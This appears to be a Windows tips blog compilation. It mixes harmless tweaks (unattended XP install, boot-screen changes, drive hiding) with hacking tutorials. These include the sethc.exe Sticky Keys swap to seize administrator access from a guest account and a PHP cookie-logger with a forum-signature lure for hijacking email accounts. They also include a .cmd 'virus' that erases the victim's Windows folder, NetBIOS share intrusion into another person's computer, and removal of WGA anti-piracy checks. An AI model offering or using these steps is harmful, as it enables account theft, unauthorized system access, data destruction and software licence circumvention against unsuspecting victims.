automte the installation of windows xp

Automate The Installation Of Windows XP

July 5, 2007 in software · 1 Comment

You can create a CD that can install Windows XP automatically, putting in all the details and answering all the dialog boxes.

The secret behind this is the answer file, which tells Windows what to do while it’s installing. The answer file can be created using Windows setup manager.

Using this tool, you can make the answer file so powerful that you can even tell Windows to include or exclude individual components, set the display resolution, and more.

Here’s the Steps involved in creating XP Automated Installation Disc :

Step 1: To begin with, insert your Windows XP installation CD into the drive and copy the entire contents of the CD to a new folder on your hard disk.

Step 2: Navigate to the Support > Tools folder on the CD and double-click the Deploy.cab file. Copy all the files to a new folder on your hard disk.

Step 3: The crucial part begins now, creating the answer file. To execute the windows setup manager, double click the Setupmgr.exe file from the contents of the Deploy.cab, which you just copied onto the hard drive.

Step 4: The first few steps of the wizard are self explanatory. Select the following options from the successive dialog boxes. Create a new answer file; Windows unattended installation (Select the appropriate Windows version); "Fully automated"; "No this answer file will be used to install from CD"; and finally, accept the license agreement.

Step 5: Under the General Settings, you can customize the installation of Windows by providing the default name and organization, display settings, time zone and the product key. Fill in the fields using the drop-down list or by keying in the details. If you don’t select an option from the drop-down list, the default values will be used.

Step 6: After you are done click Finish and save the answer file as "winnt.sif" when you are prompted. Advanced users can further tweak the answer file by referring to the Help file called Ref.chm in the same folder.

Step 7: Finally copy the answer file to i386 folder in the Windows XP installation folder you created in the beginning.

Step 8: To burn a bootable installation disc, you need the boot sector of the Windows XP CD. Download it from here bootfiles.zip


Step 9: Launch Nero and select CD-ROM (Boot) from the New Compilation dialog box. Under the Boot tab, specify the boot sector file you downloaded and extracted. Set the emulation as "No emulation", and keep the boot message blank. Most importantly, remember to set the "Number of loaded sectors" as 4.

Step 10: Under the Burn tab, set the write method to disc at-once. Click the New button to to begin adding files and folders to the compilation. Drag all the contents of the Windows XP installation disc that you copied to your hard drive (with the answer file in the i386 folder) into the left pane. Insert a blank CD into the optical drive and hit burn button. Your windows automated installation Disc is ready!

How to Change Start button Text

read a number of articles on the internet about changing the text on the Start button in XP. On more than one occasion I’ve seen references to a five (5) letter limitation when the button is renamed. I always wondered if this was true or just an assumption someone made because the default ‘start’ just happened to fit the button size. So, I decided to run a test and see if there really was a five character limit.

As you can see from the screen capture above it would seem that the five character limit isn’t etched in stone. The button expanded to accept the text I entered with no problem. I’ve been using the system for a few weeks now with no adverse effects. That’s not to say I won’t discover something down the road a bit, but for now I feel comfortable with the changes. If you’d like to try the procedure I used, the instructions follow.
Step 1 – Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Win95, Win98, WinME, WinNT, Win2000 and WinXP operating systems. Navigate here to download Resource Hacker.

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe as shown in Fig. 01.


Fig. 01

The category we are going to be using is String Table. Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable as shown in Fig. 02. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.


Fig. 02

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used ElderGeek as shown in Fig. 03.


Fig. 03

Compare the screen captures in Fig. 02 and Fig. 03 and you’ll notice that after the new text string has been entered the Compile Script button that was grayed out in Fig. 02 is now active in Fig. 03. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. See Fig. 04. Save the newly named file to C:\Windows.


Fig. 04
Step 2 – Modify the Registry

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon


Fig. 05

In the right pane (Fig. 05), double click the Shell entry to open the Edit String dialog box as shown in Fig. 06. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.


Fig. 06

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

How to increase Gmail Attachment to 25 mb

Most of the Email services provides 20 MB of file attachment, Gmail the internet giant also provided 20 MB of attachment. Recently Google Operating System notified the increment in Gmail file attachment.
Gmail help confirms that Gmail file attachment extended to 25 MB. “With Gmail, you can send and receive messages up to 25 megabytes (MB) in size.
Please note that you may not be able to send larger attachments to contacts who use other email services with smaller attachment limits. If your attachment bounces, you should invite them to Gmail”.

To hide a folder without any trick we already wrote about how to do it, today let’s see how to hide a drive letter without any software using command

Steps to Hide Drive

1. Go to Start — > Run –> Cmd open command prompt.

2. Type diskpart in the command prompt, now diskpart session opens.

3. Type list volume and press enter.

Diskpart List Volume

4. You can see list of volume and Letters for the Volume.

5. Now select a volume for example type select volume 3 you can get a message volume 3 is selected.

6. Type remove letter F (Note : you should type current volume letter only)

Diskpart Remove Letter

7. Now F drive is hided, just need to restart the machine.

Hide F Drive

8. To Recover the Volume letter F follow the above procedure up to step 5.

9. Now type assign letter F and restart your machine.

Recover F Drive

10. Your hidden drive is rolled back.

Turn off your pc quickly

Do You Want Speed Up Yout Pc Turn Off

Instead of accessing the shutdown menu via Start->Turn Off Computer, open the Task Manager by pressing Ctrl+Alt+Delete.

Press “Shut Down” at the top of the Task Manager and choose what you want your Windows XP to do:

* Stand By
* Hibernate
* Turn Off
* Restart
* Log off
* Switch User

The task will be performed in a matter of seconds.

Changing the window boot screen

I'll start with the Windows boot screen, since that's fairly easy and doesn't necessarily require any direct modification of system files
.

To maintain a more visual boot process, while also eliminating any boot branding, you might simply want to replace the boot image. The easy way to do this is to download a freeware app from WinCustomize called BootSkin. The app automatically overrides the default Windows boot screen, replacing it with one of the many options in the WinCustomize BootSkin library. With some practice you can make your own custom BootSkin as well.


Download BootSkin

If you want to get really geeky, a third option is to edit the operating system file where the boot screen information resides. You need to be careful in doing this or you can end up with a computer that won't boot. The first part of the process is to create or find an image you want to use. If your computer simply has the all black Windows XP boot screen, with the XP logo like the one pictured below, you don't need a very large image.

Simply create a 215x147 .bmp file with 16 colors (NOT 16-bit) in any image editor and you've got a working replacement. If your computer manufacturer overrides this default screen with something else, you may need to get creative to eliminate all the branding. In general, using a black background looks more consistent, but you can use any of the 16 colors in your palette.

With your new image created, you need a freeware app called Resource Hacker to make some changes.

Before proceeding, locate ntoskrnl.exe in your Windows > system32 folder. Make a copy of the file called newntoskrnl.exe or something equally easy to remember and leave the copy in the system32 folder.

Make a second copy of the ntoskrnl.exe on your desktop (this is the one you will edit).

Open ntoskrnl.exe in Resource Hacker. Expand Bitmap > 5 and highlight the 1033 folder. Right-click the 1033 icon and choose Replace Resource.

Click the Open file with new bitmap button and locate the image you created earlier. Click the Replace button. Save and exit Resource Hacker. You can optionally replace all elements of the boot screen by editing each portion of the Bitmap.

Reboot into SafeMode and copy your newly created ntoskrnl.exe file into the Windows > system32 folder.

Note: If you are using Windows 2000, you can simply replace the image in the Bitmap > 1 > 1033 location with a 640x480 16 color Bitmap to modify the Win2k boot screen in a similar fashion.
Changing the BIOS Splash Screen

To eliminate the branded splash screen associated with your BIOS, you need to obtain the firmware update for your BIOS and edit the logo file that's part of the BIOS fileset before applying the update. Since every computer model and manufacturer uses a slightly different BIOS configuration, it's important to get the BIOS specific to your computer from the support section of the manufacturer's Website. In some cases, like my HP laptop, it's become virtually impossible to replace the logo because the BIOS flash process is contained in an .exe file that runs locally in Windows rather than from a separate disk.

Assuming your PC manufacturer has you create a floppy designed to flash the PC bios, you can fairly easily make a change to the logo displayed. In following the directions to create the BIOS boot disk, simply replace the included logo.bmp file in the BIOS update package with a logo.bmp file created by you. The key here is to use a 16 color (NOT 16-bit color) 640x480 BMP file. Copy your logo.bmp file onto the disk used for your BIOS update and run the bundled logo.bat file by double-clicking it. This converts the logo.bmp to a format ready for the BIOS update.

It's vital to keep all the files in the BIOS update named exactly as they were or your computer may not work after the update. Any changes made to BIOS update files should be done at your own risk and with extreme care.

Forgot Windows XP password Dont worry

ight-click on the “My Computer” icon on the desktop OR in the Start Menu.

2. Select the option “Manage”.

3. On the left pane expand the “Computer Management (Local) tree (if it is not already expanded)

4. Double click “Local Users and Groups” option From “System Tools” tree.

5. Click the “Users” option.

6. Now you will see the list of users on the right side pane,such as Administrator,Guest etc.

7. Right click the “Administrator” and select the option “Set Password” option.

8. Now you will see a warning message,Click on proceed.

9. Now the system asks you for “New Password” and “Confirm Password” .

10. After entering the password click on “OK”.The password is changed

You may be a victim of software counterfeiting 'Fix the error'

1, launch Windows Task Manager.
2. Locate the process “wgatray.exe” and end it.
3. Log in into the Safe Mode and delete the file WgaTray.exe from c:\Windows\System32
4. Also delete the WgaTray.exe from c:\Windows\System32\dllcache
5. Type regedit in Run to open Registry Editor, navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify key.
7. Delete the folder WgaLogon and all of its contents.
8. Restart the PC normally.

How to Hack administrator password

Method 1 (Change Admin Password)

Here is how to do that -

1.Go to C:/windows/system32

2.Copy cmd.exe and paste it on desktop

3.Rename cmd.exe to sethc.exe

4.Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.

5.Now Log out from your guest account and at the user select window,press shift key 5 times.

6.nstead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.

7.Now type “ NET USER ADMINISTRATOR aaa" where “aaa" can be any password you like and press enter.

8.You will see “ The Command completed successfully" and then exit the command prompt and login into
administrator with your new password.

9.Congrats You have hacked admin through guest account.

How to Hack into an Email id-Cookie log

Well one of the question which is asked most to me is,"How to hack into an email account",So today i am posting a new way to hack into an email account,I am not posting this post to exite hackers but to make you aware of whats going around


Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get theCookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.



What is a CookieLogger?

A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Today I am going to show How to make your own Cookie Logger


How to hack into an email account


step 1:First you have to create a file which can capture a person's cookie.So follow the following process.

Download the script

Step 2:Now you have to change "http://rafayhackingarticles.blogspot.com" to your your site.
Remember one thing you should not upload the files into a directory.
Now open notepad and paste the script in it and save it as fun.gif

step 3:Copy the Following Script into a Notepad File and Save the file as cookielogger.php:



$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>



Step 4:Create a new Notepad File and Save it as logfile.txt

Upload this file to your server

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

If you don’t have any Website then you can use the following Website to get a Free Website which has php support :

www.ofees.net
www.t35.com
www.ripway.com

Step 5:Go to the victim forum and insert this code in the signature or a post :


[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/img][/url]



So the person who click it will think it is fun.jpg but it redirects to fun.gif

Step 6:So if you click the image you will get a temporary error and you will find the cookie in the logfile.txt


step 7:And something like this will be stored in your "logfile.txt"



phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9




Step 8:To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of thecookies in the cookie Editor.

Now for this you will need a firefox addon named "Add and edit cookies"

Make a danger Virus

Here is a simple and easy trick to make a virus in less than 1 minute. :)

CAUTION: DO NOT RUN THE PROGRAM ON YOUR COMPUTER OR YOU WILL LOSE YOUR WINDOWS.


HERE'S THE TUTORIAL.


1.Go to notepad,
2. Type erase C:\WINDOWS,
3. Save IT AS SOMETHING.cmd ,
4. Send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...



Take care it is a simple but powerful virus.

How to hack airtel for unlimited mobile GPRS

Now a days Airtel gives New option to the Subscriber to access Mobile Office daily @25.00/perday. But this is too Costly. Only 24 hours and the cost is 25.00. Oh GOD!!

But I got a Trick thats help me to Activate my Mobile Office whole 30 days only for 25.00/. Its really goood.

Just follow the Trick.

1. Your account balance should be above 25.00 for the first time.
2. Acitave your mobile office by dailing *444*1#. You will Activate your Mobile Office in the Morning.
3. You got an Activation msg. Your account should deducted by 25.00/
[eminimall]
4. After that your can enjoy mobile office for 24 hours.
5. But for unlimited access you will do this :: Just switch off your mobile from 7.00 am to 10.00am. and your account balance should be below 25.00 /

How to turn on your pc quickly

1. click on the start button then press R it will take you to Run well go to run.
2.Then type Regedit.
Press Enter.
3.This will open Registery Editor.
4.Now look for the key.
5.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex
6.Now there find the Key Called “Startup Delay”
6.Double Click On It.
7.Now where its Base.
8.Click Decimal.
9.Now its Default Value Is 4800000.
10.Change The Value To 40000.
11.Here you go. You have Done it
12.Now close the …

Hacking another person computer

Step 1
First of all,get a good IP scanner angry ip scanner is a good one

Step 2
Now click on start and then goto run and then type there "CMD" and press ok

This is what you see:
c:\windows>

Now this is what you have to do ---->>>

Replace 255.255.255.255 with the victims IP address., i have wrote another article on How to trace
an ip address of the victims computer

c:\windows>nbtstat -a 255.255.255.255

If you see this your in NetBIOS Remote Machine Name Table

Name Type Status ---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = xx-xx-xx-xx-xx-xx
---------------------------------------------------------------

If you don't get the number <20>.
The victim disabled the File And Printer Sharing, find another victim.

Step 3:

Type down:

c:\windows>net view \\255.255.255.255

If the output is like this:

Shared resources at \\255.255.255.255
ComputerNameGoesHere

Sharename Type Used as Comment

------------------------------------------------------------
CDISK Disk xxxxx xxxxx

The command completed successfully.

"DISK" shows that the victim is sharing a Disk named as CDISK

Step 4

you can replace x: by any letter you want but not the letter of your own drive.

CDISK is the name of the shared harddrive.

Now type:
c:\windows>net use x: \\255.255.255.255\CDISK

If the command is successful you are a small time hacker.

Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:.


Note to newbies: This hack will only work if you have the ip of someone on your network. It will not work if the ip of the person you want to "hack" is not on your network.

Tip: If you can only access your targets shared folder put a batch file in their shared folder with the command C=C if they open it,it will share their hardrive.

Hack windows vista for 1 year

Step 1.
While running a copy of Windows Vista that hasn’t yet been activated, click the Start button, type regedit into the Search box, then press Enter to launch the Registry Editor.


Step 2.
Explore down to the following Registry key:HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ SL


Step 3.
Right-click the Registry key named SkipRearm and click Edit. The default is a Dword (a double word or 4 bytes) with a hex value of 00000000. Change this value to any positive integer, such as 00000001, save the change, and close the Registry Editor.


Step 4.
Start a command prompt with administrative rights. The fastest way to do this is to click the Start button, enter cmd in the Search box, then press Ctrl+Shift+Enter. If you’re asked for a network username and password, provide the ones that log you into your domain. You may be asked to approve a User Account Control prompt and to provide an administrator password.


Step 5.
Type one of the following two commands and press Enter:slmgr -rearmorrundll32 slc.dll,SLReArmWindowsEither command uses Vista’s built-in Software Licensing Manager (SLMGR) to push the activation deadline out to 30 days after the command is run. Changing SkipRearm from 0 to 1 allows SLMGR to do this an indefinite number of times. Running either command initializes the value of SkipRearm back to 0.


Step 6.
Reboot the PC to make the postponement take effect. (After you log in, if you like, you can open a command prompt and run the command slmgr -xpr to see Vista’s new expiration date and time.


Step 7.
To extend the activation deadline of Vista indefinitely, repeat steps 1 through 6 as

speed up broadband speed

Goto http://www.testmy.net/
and click on Download Speed Test, and then on Smart Test....(and while
conducting this test, don't forget to close all Instant Messagers, and
there should be no other web activity, other than the test)

2) Note down the speeds.

Now, lets see, what all changes to be made.....

This
tip is designed for increased BROADBAND speed in Windows XP while using
standard Network Interface cards (NIC) that are connected to ADSL
modems, or when using any directly-connected USB ADSL modem.

To
speed up the Internet connection speed we need to configure a special
buffer in the computer's memory in order to enable it to better deal
with interrupts made from the NIC or the USB modem.

This tip is only recommended if you have 256MB RAM or higher.

Step #1 - Identify the IRQ used by the NIC/USB modem

1. Open the System Information tool by running MSINFO32.EXE from the Run command.
2. Expand System Summary > Hardware Resources > IRQs.
3.
Look for the listing made for your NIC (in my case - a Intel® PRO/100+
Management Adapter). Note the IRQ next to the specified line (in my
case - IRQ21).

In case of USB modems you will first need to find the right USB device used by your modem. Follow these steps:

1.
Open the Device Manager tool by running DEVMGMT.MSC from the Run
command (or by right-clicking My Computer > Hardware tab > Device
Manager button).

2. Scroll down to Universal Serial Bus controllers and expand it.

3.
Right-click the USB Root Hub and select Properties. Note that you might
need to do so for all listed USB Root hubs (if there are more than one)
in order to find the right one.

4. In the Power tab, look for your USB ADSL modem.

5. In the Resources tab look for the assigned IRQ (in this case - IRQ21).

6. This is the IRQ we're looking for.

Note: IRQs and modem names might vary...

Step #2 - Modify the system.ini file

1. Run SYSEDIT.EXE from the Run command.
2. Expand the system.ini file window.
3. Scroll down almost to the end of the file till you find a line called [386enh].
4.
Press Enter to make one blank line, and in that line type IRQX=4096
where X is the designated IRQ number we found in step #1, in my case
it's IRQ21.

Note: This line IS CASE SENSITIVE!!!

5. Click on the File menu, then choose Save.
6. Close SYSEDIT and reboot your computer.

Done. Speed improvement will be noticed after the computer reboots.